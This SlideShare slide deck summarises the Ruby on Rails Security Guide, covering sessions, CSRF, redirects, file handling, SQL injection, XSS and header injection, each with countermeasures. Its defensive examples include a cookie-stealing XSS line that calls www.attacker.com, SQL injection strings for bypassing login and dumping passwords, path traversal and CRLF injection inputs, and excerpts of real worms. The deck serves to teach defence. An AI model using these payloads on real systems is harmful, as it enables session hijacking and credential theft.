SlideShare a Scribd company logo
Ruby on Rails
Security Guide
Heejong Lee
http://guides.rubyonrails.org/security.html
Sessions
• HTTP is stateless. Sessions make it stateful
• Usually consists of a hash of values and a session id
(commonly a 32-character string)
session[:user_id] = @current_user.id
User.find(session[:user_id])
Sessions
• The hash value of a random string
• Currently, not feasible to brute-force
Session id
Sessions
• The cookie serves as temporary authentication for the
web application because session id in the cookie
identifies the session
• Anyone who seizes a cookie from someone else, may use
the web application as this user
Session Hijacking
Sessions
• Sniff the cookie in an insecure network
Session Hijacking Method
Countermeasure
• Always forcing SSL
config.force_ssl = true
Sessions
• Get cookies from a public terminal that does not logout
Session Hijacking Method
Countermeasure
• Provide the user with a logout button and make it prominent
Sessions
• Many XSS exploits aim at obtaining the user’s cookie
Session Hijacking Method
Countermeasure
• Prevent XSS. Consult XSS section
Sessions
• Many attackers prefer not stealing an unknown cookie
but fixing a user’s session identifier
Session Hijacking Method
Countermeasure
• Consult session fixation section
Sessions
• Do not store large objects in a session
• Store in DB and save only their id in the session
• Critical data should not be stored in session
• if the user clears their cookies or closes the browser,
they will be lost. Also, with a client-side session
storage, the user can read the data
Session Guidelines
Sessions
• CookieStore saves the session hash directly in a cookie
on the client-side
• Cookie imply a strict size limit of 4KB
• The client can see everything you store in a session
because it is stored in clear-text (Base64-encoded)
• To prevent session hash tempering, a digest is
calculated from the session with a server-side secret
and inserted into the end of the cookie
Session Storage
Sessions
• secret.secret_key_base is used for specifying a secret key
Session Storage
development:
secret_key_base: a75d...
test:
secret_key_base: 492f...
production:
secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
config/secrets.yml
Sessions
1. A user receives credits, the amount is stored in a session
2. The user buys something
3. The new adjusted credit value is stored in the session
4. The user takes the cookie from the first step and replaces
the current cookie in the browser
5. The user has their original credit back
Replay Attacks for CookieStore Sessions
Sessions
• The best solution against the replay attack is not to store
this kind of data in a session, but in the database
Replay Attacks for CookieStore Sessions
Sessions
Session Fixation
Sessions
Session Fixation
1. The attacker creates a valid session id: they load the
login page of the web application where they want to
fix the session
2. They maintain the session by accessing the web
application periodically in order to keep an expiring
session alive
Sessions
Session Fixation
3. The attacker forces the user’s browser into using this
session id
May run a JavaScript from the domain of the target web
application (XSS)



<script>document.cookie="_session_id=16d5b78abb28e3d6206b6
0f22a03c8d9";</script>
Sessions
Session Fixation
4. The attacker lures the victim to the infected page with
the JavaScript code. As the new trap session is
unused, the web application will require the user to
authenticate
5. From now on, the victim and the attacker will co-use
web application with the same session
Sessions
Session Fixation Countermeasure
• Issue a new session identifier and declare the old one
invalid after a successful login
reset_session
• Save user-specific properties in the session, verify them
every time a request comes in
remote ip address, user agent, etc.
Sessions
Session Expiry
• Session that never expire extend the time-frame for
attacks such as CSRF, session hijacking and session
fixation
• Check not only update time but also creation time to
avoid session refreshing in session fixation attack
CSRF
Cross-Site Request Forgery
CSRF
Cross-Site Request Forgery
• Including malicious code or a link that access a web
application that the user is believed to have
authenticated
• Crafted image or link does not necessarily have to be
situated in the web application’s domain. It can be
anywhere.
CSRF
Cross-Site Request Forgery Countermeasure
• Use GET and POST appropriately
• GET: the interaction is more like a question
• POST: the interaction is more like an order. the
interaction changes the state of the resource in a way
that the user would perceive
• POST request can be sent automatically, too
CSRF
Cross-Site Request Forgery Countermeasure
• POST request can be sent automatically, too
<a href="http://www.harmless.com/" onclick="
var f = document.createElement('form');
f.style.display = 'none';
this.parentNode.appendChild(f);
f.method = 'POST';
f.action = 'http://www.example.com/account/destroy';
f.submit();
return false;">To the harmless survey</a>
CSRF
Cross-Site Request Forgery Countermeasure
• Rails introduced a required security token:



protect_from_forgery with: :exception



will automatically include a security token in all forms
and Ajax requests generated by Rails
• Note that XSS vulnerabilities bypass all CSRF protection
Redirection and File
Redirection
• Forwarding the user
def legacy
redirect_to(params.update(action:'main'))
end
http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
will redirect to malicious site
Redirection and File
Redirection
• Self-contained XSS
data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
the data protocol in Firefox or Opera displays its contents
directly in the browser and can be anything from HTML or
JavaScript to entire images
is a Base64 encoded JavaScript which displays a simple
message box
Redirection and File
Redirection Countermeasure
• Do not allow the user to supply (parts of) the URL to be
redirected to
Redirection and File
File Uploads
• Make sure file uploads don’t overwrite important files
• upload to “/var/www/uploads” with a file name “../../../
etc/passwd”
• Do not try to remove malicious parts. Use a whitelist
approach, not a blacklist approach
• web application removes all “../”, attacker uses a
string such as “….//”. The result would still be “../”
Redirection and File
File Uploads
• Process media files asynchronously
• Big media files can be used for denial-of-service
attack
Redirection and File
Executable Code in File Uploads
• Do not place file uploads in the subdirectories of
DocumentRoot
• Do not place file uploads in Rails’ /public directory if it
is Apache’s home directory
Redirection and File
File Downloads
• Make sure users cannot download arbitrary files
send_file('/var/www/uploads/' + params[:filename])
Do NOT
Do Instead
basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename !=
File.expand_path(File.join(File.dirname(filename), '../../../'))
send_file filename, disposition: 'inline'
User Management
Brute-Forcing Accounts
• Use more generic error messages and possibly require
to enter a CAPTCHA
User Management
CAPTCHAs
• A challenge-response test to determine that the
response is not generated by a computer
• The problem is, they are really annoying
User Management
Negative CAPTCHAs
• Include a honeypot field in the form which will be hidden from the
human user by CSS or JavaScript
• Some ideas how to hide honeypot fields
• position the fields off of the visible area of the page
• make the elements very small or color them the same as the
background of the page
• leave the fields displayed, but tell humans to leave them blank
User Management
Logging
• Do not put password in the log file
config.filter_parameters << :password
User Management
Regular Expressions
• A common pitfall in Ruby’s RE is to match the string’s
beginning and end by ^ and $, instead of A and z
/^https?://[^n]+$/i
will match
javascript:exploit_code();/*
http://hi.com
*/
/Ahttps?://[^n]+z/i
to fix
User Management
Privilege Escalation
• Changing a single parameter may give the user
unauthorized access. Remember that every paramenter may
be changed, no matter how much you hide or obfuscate it.
@project = Project.find(params[:id])
should be
@project = @current_user.projects.find(params[:id])
Injection
Whitelist vs Blacklist
• When sanitizing, protecting or verifying something,
prefer whitelist over blacklist
• allow <strong> instead of removing <script>
• don’t try to correct user input by blacklist:
“<sc<script>ript>”.gsub(“<script>”,“”)
Injection
SQL Injection
• Basic example
Project.where("name = '#{params[:name]}'")
put ’ OR 1 --
SELECT * FROM projects WHERE name = '' OR 1 --'
Injection
SQL Injection
• Bypassing Authorization
User.first("login = '#{params[:name]}' AND password =
'#{params[:password]}'")
put ’ OR ‘1’=‘1 as name and ’ OR ‘2’>‘1 as password
SELECT * FROM users WHERE login = '' OR '1'='1'
AND password = '' OR '2'>'1' LIMIT 1
Injection
SQL Injection
• Unauthorized Reading
Project.where("name = '#{params[:name]}'")
put ’) UNION SELECT id,login AS name,password
AS description,1,1,1 FROM users --
SELECT * FROM projects WHERE (name = '') UNION
SELECT id,login AS name,password AS description,
1,1,1 FROM users --'
Add appropriate amount of 1s to match the number of column
Injection
SQL Injection Countermeasure
• built-in filters applied
Model.find(id), Model.find_by_something(something)
• Dangerous methods
Model.where(sql fragment), Model.find_by_sql(sql)
use question mark to sanitize tainted strings
Model.where("login = ? AND password = ?",
entered_user_name, entered_password).first
Injection
Cross-Site Scripting (XSS)
• The most widespread, and one of the most devastating
security vulnerabilities in web application
Injection
Cross-Site Scripting (XSS)
• Entry points: message posts, user comments, guest
books, project titles, document names, search result
pages, about everywhere where the user can input data
• XSS can steal the cookie, hijack the session, redirect the
victim to a fake website, display ads, change elements
on the website to get confidential information, install
malicious software through security holes in the web
browser
Injection
Cross-Site Scripting (XSS)
• Common pattern is exploiting SQL injection vulnerability
in a web application framework and insert malicious
code in every textual table column
• In April 2008 more than 510,000 sites were hacked this
way, among them the British government, United
Nations
• Entry point can even be a banner advertisement
Injection
Cross-Site Scripting (XSS)
• Most straightforward test to check for XSS
<script>alert('Hello');</script>
in very uncommon places
<img src=javascript:alert('Hello')>
<table background="javascript:alert('Hello')">
Injection
Cross-Site Scripting (XSS)
• Cookie theft
<script>document.write(document.cookie);</script>
shows one’s own cookie on the browser and still satisfies the same origin policy
<script>document.write('<img src="http://
www.attacker.com/' + document.cookie +
'">');</script>
However, an attacker can steal the victim’s cookie like
The log file on www.attacker.com will read like
GET http://www.attacker.com/
_app_session=836c1c25278e5b321d6bea4f19cb57e2
Injection
Cross-Site Scripting (XSS)
• Defacement
• Overlap the entire or part of the web page with a fake
web page
• iframe is the most popular way to include code from
external sources
• unescaped search string is also dangerous
Injection
Cross-Site Scripting Countermeasure
• Filter a malicious input, and also escape the output of
the web application
• Again, use whitelist filtering instead of blacklist. Blacklist
are never complete
Injection
Cross-Site Scripting Countermeasure
• Rails filter methods (strip_tags(), strip_links(), sanitize())
used a blacklist approach
strip_tags("some<<b>script>alert('hello')<</b>/script>")
returns
some<script>alert('hello')</script>
Injection
Cross-Site Scripting Countermeasure
• Updated Rails 2 filter methods (strip_tags(), strip_links(),
sanitize()) use a whitelist approach
tags = %w(a acronym b strong i em li ul ol h1 h2
h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes:
%w(href title))
Injection
Cross-Site Scripting Countermeasure
• Use escapeHTML() (or h())
• It replaces replace the HTML input characters &, ", <,
> by their uninterpreted representations in HTML
(&amp;, &quot;, &lt;, and &gt;)
• Consider SafeErb gem. SafeErb reminds you to
escape strings from external sources
Injection
Cross-Site Scripting Countermeasure
• Rails sanitize() filter also recognizes encoded injection
<IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&
#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114
;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
pops up a message box
Injection
Real-world Example
• Js.Yamanner@m Yahoo! Mail worm appeared on June 11, 2006
<img src='http://us.i1.yimg.com/us.yimg.com/i/
us/nt/ma/ma_mail_1.gif'
target=""onload="var http_request = false;
var Email = ‘'; var IDList = ‘';
var CRumb = ''; function makeRequest(url,
Func, Method,Param) { ...
exploits a hole in Yahoo's HTML/JavaScript filter, which usually
filters all target and onload attributes from tags (because there
can be JavaScript). The filter is applied only once.
Injection
CSS Injection
• MySpace Samy Worm Case Study
• The worm automatically sent a friend request to Samy
(the attacker) simply by visiting his profile
• Within several hours, he had over 1 million friend
requests
• It creates too much traffic on MySpace, so that the
site goes offline
Injection
CSS Injection
• MySpace Samy Worm Case Study
MySpace blocks many tags, however it allow CSS
<div style="background:url('javascript:alert(1)')">
But we cannot use either double and single quotes in the style attribute
<div id="mycode" expr="alert('hah!')"
style="background:url('javascript:eval(
document.all.mycode.expr)')">
Aha! eval() allows to extract the payload outside of the style attribute
Injection
CSS Injection
• MySpace Samy Worm Case Study
MySpace filters the word ‘javascript’, let’s get around this
<div id="mycode" expr=“alert('hah!')" style="background:url('java↵

script:eval(document.all.mycode.expr)')">
Last problem was the CSRF security token
The attacker (Samy) got around it by sending GET to the page
right before adding a user and parsing the result for the CSRF token
In the end, the attacker got a 4KB worm, which he injected into his profile page
Injection
Command Line Injection
• Use user-supplied command line parameters with
caution
• Use system(command, parameters) instead of
exec(command), syscall(command), system(command)
system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files
Injection
Header Injection
• HTTP request headers are user-supplied and may be
manipulated with more or less effort
• Be careful when you display the user agent in an
administrator area
• HTTP response headers partly based on user input
could be dangerous
Injection
Header Injection
redirect_to params[:referer]
Rails puts the string into the Location header
field and sends a 302 status to the browser
http://www.yourapplication.com/controller/action?
referer=path/at/your/app%0d%0aLocation:+http://
www.malicious.tld
The second location overwrites the first
HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld
Injection
Header Injection
HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:

Content-Type: text/html
HTTP/1.1 200 OK [Second New response created by attacker begins]
Content-Type: text/html
&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt;
[Arbitary malicious input is shown as the redirected page]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
• Response Splitting
However, only seems to work with Keep-Alive connections
Injection
Header Injection Countermeasure
• Filter CRLFs from user inputs in response headers
• Use Rails version 2.1.2 or higher
Unsafe Query Generation
unless params[:token].nil?
user = User.find_by_token(params[:token])
user.reset_password!
end
When params[:token] is one of : [], [nil], [nil,nil,…], [‘foo’,nil],
it will bypass the test for nil
IS NULL or IN ('foo', NULL) where clauses will
unexpectedly be added to the result SQL
Unsafe Query Generation
config.action_dispatch.perform_deep_munge = true
The default deep_munge option translates the followings
JSON Parameters
{ "person": null } { :person => nil }
{ "person": [] } { :person => nil }
{ "person": [null] } { :person => nil }
{ "person": [null, null, ...] } { :person => nil }
{ "person": ["foo", null] } { :person => ["foo"] }

More Related Content

What's hot (20)

PPTX
API Security - Null meet
vinoth kumar
 
PPTX
Cross site scripting XSS
Ronan Dunne, CEH, SSCP
 
PDF
Api security-testing
n|u - The Open Security Community
 
ODP
Attacking REST API
Siddharth Bezalwar
 
PPTX
Owasp Top 10 A1: Injection
Michael Hendrickx
 
PPTX
NullCon 2012 - Ra.2: blackbox DOM-based XSS scanner
Nishant Das Patnaik
 
PPT
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Shreeraj Shah
 
PDF
Building an API Security Ecosystem
Prabath Siriwardena
 
PPTX
Secure Your REST API (The Right Way)
Stormpath
 
PPT
Intro to Web Application Security
Rob Ragan
 
PDF
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Ivan Ortega
 
ODP
Top 10 Web Security Vulnerabilities
Carol McDonald
 
PDF
In graph we trust: Microservices, GraphQL and security challenges
Mohammed A. Imran
 
PDF
Web security: OWASP project, CSRF threat and solutions
Fabio Lombardi
 
PPTX
Using & Abusing APIs: An Examination of the API Attack Surface
CA API Management
 
PDF
2013 OWASP Top 10
bilcorry
 
PDF
Watch How the Giants Fall
jtmelton
 
PDF
Attack Chaining: Advanced Maneuvers for Hack Fu
Rob Ragan
 
PDF
Owasp top 10 vulnerabilities 2013
Vishrut Sharma
 
API Security - Null meet
vinoth kumar
 
Cross site scripting XSS
Ronan Dunne, CEH, SSCP
 
Api security-testing
n|u - The Open Security Community
 
Attacking REST API
Siddharth Bezalwar
 
Owasp Top 10 A1: Injection
Michael Hendrickx
 
NullCon 2012 - Ra.2: blackbox DOM-based XSS scanner
Nishant Das Patnaik
 
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Shreeraj Shah
 
Building an API Security Ecosystem
Prabath Siriwardena
 
Secure Your REST API (The Right Way)
Stormpath
 
Intro to Web Application Security
Rob Ragan
 
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Ivan Ortega
 
Top 10 Web Security Vulnerabilities
Carol McDonald
 
In graph we trust: Microservices, GraphQL and security challenges
Mohammed A. Imran
 
Web security: OWASP project, CSRF threat and solutions
Fabio Lombardi
 
Using & Abusing APIs: An Examination of the API Attack Surface
CA API Management
 
2013 OWASP Top 10
bilcorry
 
Watch How the Giants Fall
jtmelton
 
Attack Chaining: Advanced Maneuvers for Hack Fu
Rob Ragan
 
Owasp top 10 vulnerabilities 2013
Vishrut Sharma
 

Viewers also liked (6)

PDF
Ruby on rails security guide
Randall Valenciano Fallas
 
PPT
XForms with Linux
SHC
 
PDF
Ruby Object Design
Eddie Lee
 
PPT
XForms
SHC
 
ODP
Functional Pearls 4 (YAPC::EU::2009 remix)
osfameron
 
PPTX
How i won a golf set from reg.ru
nobull
 
Ruby on rails security guide
Randall Valenciano Fallas
 
XForms with Linux
SHC
 
Ruby Object Design
Eddie Lee
 
XForms
SHC
 
Functional Pearls 4 (YAPC::EU::2009 remix)
osfameron
 
How i won a golf set from reg.ru
nobull
 
Ad

Similar to Ruby on Rails Security Guide (20)

PDF
Rails Security
Wen-Tien Chang
 
PPT
Defending Against Attacks With Rails
Tony Amoyal
 
ODP
Security on Rails
David Paluy
 
PDF
Ruby on Rails Security
Jonathan Weiss
 
PDF
Ruby on Rails Security
amiable_indian
 
PDF
Ruby On Rails Security 9984
Dr Rushi Raval
 
PDF
Ruby on-rails-security
Phong Nguyễn Đình
 
PDF
Rails Security
Jonathan Weiss
 
ODP
2009 Barcamp Nashville Web Security 101
brian_dailey
 
PDF
Rails Security
David Keener
 
PDF
Startup Institute NY (Summer 2016) - Authentication, Validation, and Basic Te...
Matthew Gerrior
 
PDF
Startup Institute NY - Authentication, Validation, and Basic Testing
Matthew Gerrior
 
PPTX
Ruby on Rails Penetration Testing
3S Labs
 
PDF
Web Application Security in Rails
Uri Nativ
 
KEY
Action Controller Overview, Season 1
RORLAB
 
PPTX
Pentesting for startups
levigross
 
PPTX
Attacking Web Applications
Sasha Goldshtein
 
PDF
Securing Rails
Alex Payne
 
PDF
RoR Workshop - Web applications hacking - Ruby on Rails example
Railwaymen
 
PPT
Web Application Security - "In theory and practice"
Jeremiah Grossman
 
Rails Security
Wen-Tien Chang
 
Defending Against Attacks With Rails
Tony Amoyal
 
Security on Rails
David Paluy
 
Ruby on Rails Security
Jonathan Weiss
 
Ruby on Rails Security
amiable_indian
 
Ruby On Rails Security 9984
Dr Rushi Raval
 
Ruby on-rails-security
Phong Nguyễn Đình
 
Rails Security
Jonathan Weiss
 
2009 Barcamp Nashville Web Security 101
brian_dailey
 
Rails Security
David Keener
 
Startup Institute NY (Summer 2016) - Authentication, Validation, and Basic Te...
Matthew Gerrior
 
Startup Institute NY - Authentication, Validation, and Basic Testing
Matthew Gerrior
 
Ruby on Rails Penetration Testing
3S Labs
 
Web Application Security in Rails
Uri Nativ
 
Action Controller Overview, Season 1
RORLAB
 
Pentesting for startups
levigross
 
Attacking Web Applications
Sasha Goldshtein
 
Securing Rails
Alex Payne
 
RoR Workshop - Web applications hacking - Ruby on Rails example
Railwaymen
 
Web Application Security - "In theory and practice"
Jeremiah Grossman
 
Ad

Recently uploaded (20)

PDF
Simplify React app login with asgardeo-sdk
vaibhav289687
 
PDF
MiniTool Power Data Recovery 8.8 With Crack New Latest 2025
bashirkhan333g
 
PDF
SAP Firmaya İade ABAB Kodları - ABAB ile yazılmıl hazır kod örneği
Salih Küçük
 
PDF
Empower Your Tech Vision- Why Businesses Prefer to Hire Remote Developers fro...
logixshapers59
 
PPTX
Comprehensive Risk Assessment Module for Smarter Risk Management
EHA Soft Solutions
 
PDF
4K Video Downloader Plus Pro Crack for MacOS New Download 2025
bashirkhan333g
 
PDF
TheFutureIsDynamic-BoxLang witch Luis Majano.pdf
Ortus Solutions, Corp
 
PDF
Dipole Tech Innovations – Global IT Solutions for Business Growth
dipoletechi3
 
PDF
MiniTool Partition Wizard Free Crack + Full Free Download 2025
bashirkhan333g
 
PDF
Top Agile Project Management Tools for Teams in 2025
Orangescrum
 
PDF
Technical-Careers-Roadmap-in-Software-Market.pdf
Hussein Ali
 
PDF
AI + DevOps = Smart Automation with devseccops.ai.pdf
Devseccops.ai
 
PDF
Meet in the Middle: Solving the Low-Latency Challenge for Agentic AI
Alluxio, Inc.
 
PDF
[Solution] Why Choose the VeryPDF DRM Protector Custom-Built Solution for You...
Lingwen1998
 
PPTX
iaas vs paas vs saas :choosing your cloud strategy
CloudlayaTechnology
 
PDF
How to Hire AI Developers_ Step-by-Step Guide in 2025.pdf
DianApps Technologies
 
PDF
SciPy 2025 - Packaging a Scientific Python Project
Henry Schreiner
 
PDF
Download Canva Pro 2025 PC Crack Full Latest Version
bashirkhan333g
 
PPTX
BB FlashBack Pro 5.61.0.4843 With Crack Free Download
cracked shares
 
PPTX
prodad heroglyph crack 2.0.214.2 Full Free Download
cracked shares
 
Simplify React app login with asgardeo-sdk
vaibhav289687
 
MiniTool Power Data Recovery 8.8 With Crack New Latest 2025
bashirkhan333g
 
SAP Firmaya İade ABAB Kodları - ABAB ile yazılmıl hazır kod örneği
Salih Küçük
 
Empower Your Tech Vision- Why Businesses Prefer to Hire Remote Developers fro...
logixshapers59
 
Comprehensive Risk Assessment Module for Smarter Risk Management
EHA Soft Solutions
 
4K Video Downloader Plus Pro Crack for MacOS New Download 2025
bashirkhan333g
 
TheFutureIsDynamic-BoxLang witch Luis Majano.pdf
Ortus Solutions, Corp
 
Dipole Tech Innovations – Global IT Solutions for Business Growth
dipoletechi3
 
MiniTool Partition Wizard Free Crack + Full Free Download 2025
bashirkhan333g
 
Top Agile Project Management Tools for Teams in 2025
Orangescrum
 
Technical-Careers-Roadmap-in-Software-Market.pdf
Hussein Ali
 
AI + DevOps = Smart Automation with devseccops.ai.pdf
Devseccops.ai
 
Meet in the Middle: Solving the Low-Latency Challenge for Agentic AI
Alluxio, Inc.
 
[Solution] Why Choose the VeryPDF DRM Protector Custom-Built Solution for You...
Lingwen1998
 
iaas vs paas vs saas :choosing your cloud strategy
CloudlayaTechnology
 
How to Hire AI Developers_ Step-by-Step Guide in 2025.pdf
DianApps Technologies
 
SciPy 2025 - Packaging a Scientific Python Project
Henry Schreiner
 
Download Canva Pro 2025 PC Crack Full Latest Version
bashirkhan333g
 
BB FlashBack Pro 5.61.0.4843 With Crack Free Download
cracked shares
 
prodad heroglyph crack 2.0.214.2 Full Free Download
cracked shares
 

Ruby on Rails Security Guide

  • 1. Ruby on Rails Security Guide Heejong Lee http://guides.rubyonrails.org/security.html
  • 2. Sessions • HTTP is stateless. Sessions make it stateful • Usually consists of a hash of values and a session id (commonly a 32-character string) session[:user_id] = @current_user.id User.find(session[:user_id])
  • 3. Sessions • The hash value of a random string • Currently, not feasible to brute-force Session id
  • 4. Sessions • The cookie serves as temporary authentication for the web application because session id in the cookie identifies the session • Anyone who seizes a cookie from someone else, may use the web application as this user Session Hijacking
  • 5. Sessions • Sniff the cookie in an insecure network Session Hijacking Method Countermeasure • Always forcing SSL config.force_ssl = true
  • 6. Sessions • Get cookies from a public terminal that does not logout Session Hijacking Method Countermeasure • Provide the user with a logout button and make it prominent
  • 7. Sessions • Many XSS exploits aim at obtaining the user’s cookie Session Hijacking Method Countermeasure • Prevent XSS. Consult XSS section
  • 8. Sessions • Many attackers prefer not stealing an unknown cookie but fixing a user’s session identifier Session Hijacking Method Countermeasure • Consult session fixation section
  • 9. Sessions • Do not store large objects in a session • Store in DB and save only their id in the session • Critical data should not be stored in session • if the user clears their cookies or closes the browser, they will be lost. Also, with a client-side session storage, the user can read the data Session Guidelines
  • 10. Sessions • CookieStore saves the session hash directly in a cookie on the client-side • Cookie imply a strict size limit of 4KB • The client can see everything you store in a session because it is stored in clear-text (Base64-encoded) • To prevent session hash tempering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie Session Storage
  • 11. Sessions • secret.secret_key_base is used for specifying a secret key Session Storage development: secret_key_base: a75d... test: secret_key_base: 492f... production: secret_key_base: <%= ENV["SECRET_KEY_BASE"] %> config/secrets.yml
  • 12. Sessions 1. A user receives credits, the amount is stored in a session 2. The user buys something 3. The new adjusted credit value is stored in the session 4. The user takes the cookie from the first step and replaces the current cookie in the browser 5. The user has their original credit back Replay Attacks for CookieStore Sessions
  • 13. Sessions • The best solution against the replay attack is not to store this kind of data in a session, but in the database Replay Attacks for CookieStore Sessions
  • 15. Sessions Session Fixation 1. The attacker creates a valid session id: they load the login page of the web application where they want to fix the session 2. They maintain the session by accessing the web application periodically in order to keep an expiring session alive
  • 16. Sessions Session Fixation 3. The attacker forces the user’s browser into using this session id May run a JavaScript from the domain of the target web application (XSS)
 
 <script>document.cookie="_session_id=16d5b78abb28e3d6206b6 0f22a03c8d9";</script>
  • 17. Sessions Session Fixation 4. The attacker lures the victim to the infected page with the JavaScript code. As the new trap session is unused, the web application will require the user to authenticate 5. From now on, the victim and the attacker will co-use web application with the same session
  • 18. Sessions Session Fixation Countermeasure • Issue a new session identifier and declare the old one invalid after a successful login reset_session • Save user-specific properties in the session, verify them every time a request comes in remote ip address, user agent, etc.
  • 19. Sessions Session Expiry • Session that never expire extend the time-frame for attacks such as CSRF, session hijacking and session fixation • Check not only update time but also creation time to avoid session refreshing in session fixation attack
  • 21. CSRF Cross-Site Request Forgery • Including malicious code or a link that access a web application that the user is believed to have authenticated • Crafted image or link does not necessarily have to be situated in the web application’s domain. It can be anywhere.
  • 22. CSRF Cross-Site Request Forgery Countermeasure • Use GET and POST appropriately • GET: the interaction is more like a question • POST: the interaction is more like an order. the interaction changes the state of the resource in a way that the user would perceive • POST request can be sent automatically, too
  • 23. CSRF Cross-Site Request Forgery Countermeasure • POST request can be sent automatically, too <a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless survey</a>
  • 24. CSRF Cross-Site Request Forgery Countermeasure • Rails introduced a required security token:
 
 protect_from_forgery with: :exception
 
 will automatically include a security token in all forms and Ajax requests generated by Rails • Note that XSS vulnerabilities bypass all CSRF protection
  • 25. Redirection and File Redirection • Forwarding the user def legacy redirect_to(params.update(action:'main')) end http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com will redirect to malicious site
  • 26. Redirection and File Redirection • Self-contained XSS data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K the data protocol in Firefox or Opera displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images is a Base64 encoded JavaScript which displays a simple message box
  • 27. Redirection and File Redirection Countermeasure • Do not allow the user to supply (parts of) the URL to be redirected to
  • 28. Redirection and File File Uploads • Make sure file uploads don’t overwrite important files • upload to “/var/www/uploads” with a file name “../../../ etc/passwd” • Do not try to remove malicious parts. Use a whitelist approach, not a blacklist approach • web application removes all “../”, attacker uses a string such as “….//”. The result would still be “../”
  • 29. Redirection and File File Uploads • Process media files asynchronously • Big media files can be used for denial-of-service attack
  • 30. Redirection and File Executable Code in File Uploads • Do not place file uploads in the subdirectories of DocumentRoot • Do not place file uploads in Rails’ /public directory if it is Apache’s home directory
  • 31. Redirection and File File Downloads • Make sure users cannot download arbitrary files send_file('/var/www/uploads/' + params[:filename]) Do NOT Do Instead basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files')) filename = File.expand_path(File.join(basename, @file.public_filename)) raise if basename != File.expand_path(File.join(File.dirname(filename), '../../../')) send_file filename, disposition: 'inline'
  • 32. User Management Brute-Forcing Accounts • Use more generic error messages and possibly require to enter a CAPTCHA
  • 33. User Management CAPTCHAs • A challenge-response test to determine that the response is not generated by a computer • The problem is, they are really annoying
  • 34. User Management Negative CAPTCHAs • Include a honeypot field in the form which will be hidden from the human user by CSS or JavaScript • Some ideas how to hide honeypot fields • position the fields off of the visible area of the page • make the elements very small or color them the same as the background of the page • leave the fields displayed, but tell humans to leave them blank
  • 35. User Management Logging • Do not put password in the log file config.filter_parameters << :password
  • 36. User Management Regular Expressions • A common pitfall in Ruby’s RE is to match the string’s beginning and end by ^ and $, instead of A and z /^https?://[^n]+$/i will match javascript:exploit_code();/* http://hi.com */ /Ahttps?://[^n]+z/i to fix
  • 37. User Management Privilege Escalation • Changing a single parameter may give the user unauthorized access. Remember that every paramenter may be changed, no matter how much you hide or obfuscate it. @project = Project.find(params[:id]) should be @project = @current_user.projects.find(params[:id])
  • 38. Injection Whitelist vs Blacklist • When sanitizing, protecting or verifying something, prefer whitelist over blacklist • allow <strong> instead of removing <script> • don’t try to correct user input by blacklist: “<sc<script>ript>”.gsub(“<script>”,“”)
  • 39. Injection SQL Injection • Basic example Project.where("name = '#{params[:name]}'") put ’ OR 1 -- SELECT * FROM projects WHERE name = '' OR 1 --'
  • 40. Injection SQL Injection • Bypassing Authorization User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'") put ’ OR ‘1’=‘1 as name and ’ OR ‘2’>‘1 as password SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
  • 41. Injection SQL Injection • Unauthorized Reading Project.where("name = '#{params[:name]}'") put ’) UNION SELECT id,login AS name,password AS description,1,1,1 FROM users -- SELECT * FROM projects WHERE (name = '') UNION SELECT id,login AS name,password AS description, 1,1,1 FROM users --' Add appropriate amount of 1s to match the number of column
  • 42. Injection SQL Injection Countermeasure • built-in filters applied Model.find(id), Model.find_by_something(something) • Dangerous methods Model.where(sql fragment), Model.find_by_sql(sql) use question mark to sanitize tainted strings Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
  • 43. Injection Cross-Site Scripting (XSS) • The most widespread, and one of the most devastating security vulnerabilities in web application
  • 44. Injection Cross-Site Scripting (XSS) • Entry points: message posts, user comments, guest books, project titles, document names, search result pages, about everywhere where the user can input data • XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display ads, change elements on the website to get confidential information, install malicious software through security holes in the web browser
  • 45. Injection Cross-Site Scripting (XSS) • Common pattern is exploiting SQL injection vulnerability in a web application framework and insert malicious code in every textual table column • In April 2008 more than 510,000 sites were hacked this way, among them the British government, United Nations • Entry point can even be a banner advertisement
